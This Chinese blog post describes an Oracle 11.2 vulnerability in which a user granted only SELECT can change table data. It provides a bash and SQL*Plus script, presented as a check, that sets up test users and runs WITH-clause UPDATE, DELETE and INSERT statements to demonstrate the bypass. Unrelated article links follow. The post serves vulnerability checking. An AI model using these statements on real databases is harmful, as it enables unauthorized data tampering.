Oracle高危安全漏洞:具有查询权限用户可绕开安全限制进行数据修改
数据库版本 11.2.0.*
检查数据库是否存在此bug的脚本:
Oracle用户执行此脚本
#!/bin/bash
# Usage: 检查ORACLE数据库是否存在高危安全漏洞(具有查询权限用户可绕开安全限制进行数据修改)
# EX: /bin/bash checkbug.sh > ./checkbug_dbIP.log
# Author: AlfredZhao
# Version: 1.0.0
echo -e "\n ***** CHECK: OS info *****\n"
uname -a
echo -e "\n ***** CHECK: OPatch inventory info *****\n"
export PATH=$ORACLE_HOME/OPatch:$PATH
opatch version
opatch lsinventory
echo -e "\n ***** CHECK: DB Test *****\n"
sqlplus -s / as sysdba <<EOF
prompt 1. DB Version:
select * from v\$version;
prompt 2. Judge:
prompt create dba user(test);
create user test identified by Test0619test;
grant dba to test;
conn test/Test0619test
show user
create table t(id number);
insert into t values(1);
insert into t values(1);
insert into t values(1);
insert into t values(1);
insert into t values(1);
commit;
select * from t;
prompt create normal user(test_update);
conn /as sysdba
show user
create user test_update identified by Test0619test;
grant create session to test_update;
grant select on test.t to test_update;
select count(*) from test.t;
prompt Test normal user privilege.
conn test_update/Test0619test
show user
select * from test.t where rownum = 1;
update (with tmp as (select id from test.t) select id from tmp) set id=10 where id = 1;
commit;
delete (with temp as (select * from test.t) select id from temp) where id = 2;
commit;
insert into (with temp as (select * from test.t) select * from temp) select * from test.t where id =1;
commit;
select * from test.t;
prompt Delete test user
conn /as sysdba
show user
drop user test cascade;
drop user test_update cascade;
EOF
Oracle高危安全漏洞:具有查询权限用户可绕开安全限制进行数据修改的更多相关文章
- Oracle创建设置查询权限用户
用户创建的可以参考博客: https://blog.csdn.net/u014427391/article/details/84889023 Oracle授权表权限给用户: 语法:grant [权限名 ...
- oracle用命令创建表空间、用户,并为用户授权、收回权限。
oracle中如何删除用户? Oracle中使用DROP USER来删除用户,如果使用DROP USER CASCADE那么用户的对象也同时被删除掉.为了达到删除用户的效果而又不影响对用户下的对象的使 ...
- oracle查询所有用户表的表名、主键名称、索引、外键等
1.查找表的所有索引(包括索引名,类型,构成列): select t.*,i.index_type from user_ind_columns t,user_indexes i where t.ind ...
- oracle 中如何查询当前用户可以看到的表名、表对应的所有字段
前言:利用 oracle 的视图来查询表的相关信息. oracle 查询当前用户下的表名 + 表注释 select t.table_name tableName, f.comments comment ...
- TESTUSERB 仅能对TESTUSERA 用户下的某些表增删改查、有些表仅能对某些列update,查询TESTUSERB 用户权限,获取批量赋予语句。
TESTUSERB 仅能对TESTUSERA 用户下的某些表增删改查.有些表仅能对某些列update,查询TESTUSERB 用户权限,获取批量赋予语句. select 'grant '|| PRIV ...
- oracle查询当前用户下所有的表,包括所有的字段
oracle查询当前用户下所有的表,包括所有的字段 背景: 前两天接到一个需求,做一个展示所有表名,表备注,表数据,表字段数,点击查看按钮查看字段名和注释,支持导出. 在Oracle中,可用使用视 ...
- oracle 中查询当前用户可以看到的表名、表对应的所有字段 原
转自:https://my.oschina.net/u/3783799/blog/2870207 1.oracle 查询当前用户下的表名,表注释 select t.table_name, f.comm ...
- Oracle查询当前用户和当前用户下的所有表
转载自:http://blog.itpub.net/29485627/viewspace-1246317/ Oracle查询当前用户和当前用户下的所有表 (1)查询当前用户 SQL> show ...
- ORACLE 查询所有用户调度作业
--查询所有用户调度作业:select * from ALL_SCHEDULER_JOBS; --查询当前用户调度作业:select * from USER_SCHEDULER_JOBS; --查询当 ...
随机推荐
- iconfont采坑
1. iconfont采坑 1.1. 前言 使用iconfont过程中踩过坑特此记录 不知道iconfont的这里也简单介绍一笔,阿里开放的一个图标素材库,用来快速找图标下载使用图标 iconfont ...
- Qt for Android使用grpc探索
利用Qt在Android上使用grpc需要*.a的静态库,Windows上编译的lib库以及linux编译出来的.a,经过尝试,均无法链接成功.本文尝试使用NDK来编译Android版本的grpc静态 ...
- maven 学习---Maven 编译打包时如何忽略测试用例
本文地址:http://blog.csdn.net/wirelessqa/article/details/14057305 跳过测试阶段: mvn package -DskipTests 临时性跳过测 ...
- PMP备考-第一章-引论
项目 项目是为创造独特的产品,服务和成果而进行的临时性工作.在规定的范围,进度,成本,和质量要求之下完成项目可交付成果. 项目与运用 项目 :临时性,独特性,渐进明细 运营 :持续的,相似性,标准化 ...
- 剑指offer 9-10:青蛙跳台阶与Fibonacii数列
题目描述 一只青蛙一次可以跳上1级台阶,也可以跳上2级.求该青蛙跳上一个n级的台阶总共有多少种跳法(先后次序不同算不同的结果). 问题分析 我们将跳法个数y与台阶数n视为一个函数关系,即y=f(n). ...
- Django 练习班级管理系统一
创建项目 user_manager 和 app为 app01 models.py 为 from django.db import models # Create your models here. c ...
- Odoo配置文件
转载请注明原文地址:https://www.cnblogs.com/ygj0930/p/11189223.html
- python中property简单使用与实现
property简单使用 class P: """ property简单使用 """ def __init__(self,name): se ...
- Shel脚本-初步入门之《02》
Shel脚本-初步入门-什么是 Shell 脚本 2.什么是 Shell脚本 当命令或程序语句不在命令行下执行,而是通过一个程序文件来执行时,改程序就被称为 Shell 脚本.如果在 Shell 脚本 ...
- 团队第五次作业——Alpha2版本
这个作业属于哪个课程 https://edu.cnblogs.com/campus/xnsy/2019autumnsystemanalysisanddesign/ 这个作业要求在哪里 https:// ...